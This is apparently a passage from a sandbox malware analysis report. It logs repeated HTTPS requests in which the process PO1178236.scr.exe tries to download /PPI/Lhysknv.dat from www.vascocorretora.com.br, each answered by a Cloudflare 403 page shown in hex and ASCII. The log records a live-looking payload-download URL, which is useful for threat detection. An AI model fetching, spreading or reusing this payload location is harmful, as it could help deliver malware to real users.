65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6ddc83c41ef</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:06 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 64 64 63 38 33 63 34 31 65 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6ddc83c41ef',t:'MTczNjQwNzc0Ni4wMDAwMDA='};var a
2025-01-09 07:29:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49811	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:06 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:06 UTC	1008	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W6a6AbE1SKTtDJW0IrlIx1y%2F0yQmZvH4DharAXRRiAWIO4U3KCesjz1nGi%2FVGG7KDc4dTZ7QECQPGs6k1N8rK%2FB5NYGeU5ZaLBN3up%2F1nuxzffc%2FHc56hHrBzpNAOx4npNghKA2NeMy0EbYs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6e1ae7c42bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1867&min_rtt=1687&rtt_var=992&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=933802&cwnd=225&unsent_bytes=0&cid=6fae57c129de5cb7&ts=152&x=0"
2025-01-09 07:29:06 UTC	361	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:06 UTC	1369	IN	Data Raw: 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: dflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=d
2025-01-09 07:29:06 UTC	1369	IN	Data Raw: 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 Data Ascii: n cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.ca
2025-01-09 07:29:06 UTC	1369	IN	Data Raw: 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 65 31 61 65 37 63 34 32 62 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 Data Ascii: t-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6e1ae7c42bc</strong></span> <span class="cf-footer-separator sm:hidde
2025-01-09 07:29:06 UTC	1001	IN	Data Raw: 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 65 31 61 65 37 63 34 32 62 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 Data Ascii: indow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6e1ae7c42bc',t:'MTczNjQwNzc0Ni4wMDAwMDA='};va
2025-01-09 07:29:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49812	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:07 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:07 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCGiKF7BiVJp1x7pQHHOWJZWJ2HAKedTa%2BBblDwRvSXbQj490ud%2FGDHSAhmaS%2BCh51rDv8hCA5dHk3jwVaz8qgkx3z6%2BhdaqgPzY7K123OjPgbsmy3GxstDJg4Lq%2BlZ338k5Y9HRgYOV42tW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6e58b1c41f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1765&rtt_var=674&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1610590&cwnd=231&unsent_bytes=0&cid=9afdb3e2d14a6ab2&ts=141&x=0"
2025-01-09 07:29:07 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:07 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:07 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:07 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 65 35 38 62 31 63 34 31 66 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6e58b1c41f2</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:07 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 65 35 38 62 31 63 34 31 66 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6e58b1c41f2',t:'MTczNjQwNzc0Ny4wMDAwMDA='};v
2025-01-09 07:29:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49813	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:07 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:08 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2DHEWDcAoLxkX7Ca3lXrwDkEet%2FwFb7oLrZ0Z6vGLMjWJtXw7wi1SzW7IQMPXTxlfS98bnQi8XUo%2F2jXpd5%2F2k0903E0SYKRjOJ7ZLsUZoZu9Z%2FPqAVrGaYaZ3Y2qm%2BqoNGmi1tI%2Buqk7h13"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6e95afcf5f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1485&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1771844&cwnd=107&unsent_bytes=0&cid=d8cab47f7bdcc46b&ts=146&x=0"
2025-01-09 07:29:08 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:08 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:08 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 65 39 35 61 66 63 66 35 66 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6e95afcf5f8</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:08 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 65 39 35 61 66 63 66 35 66 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6e95afcf5f8',t:'MTczNjQwNzc0OC4wMDAwMDA='}
2025-01-09 07:29:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49814	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:08 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
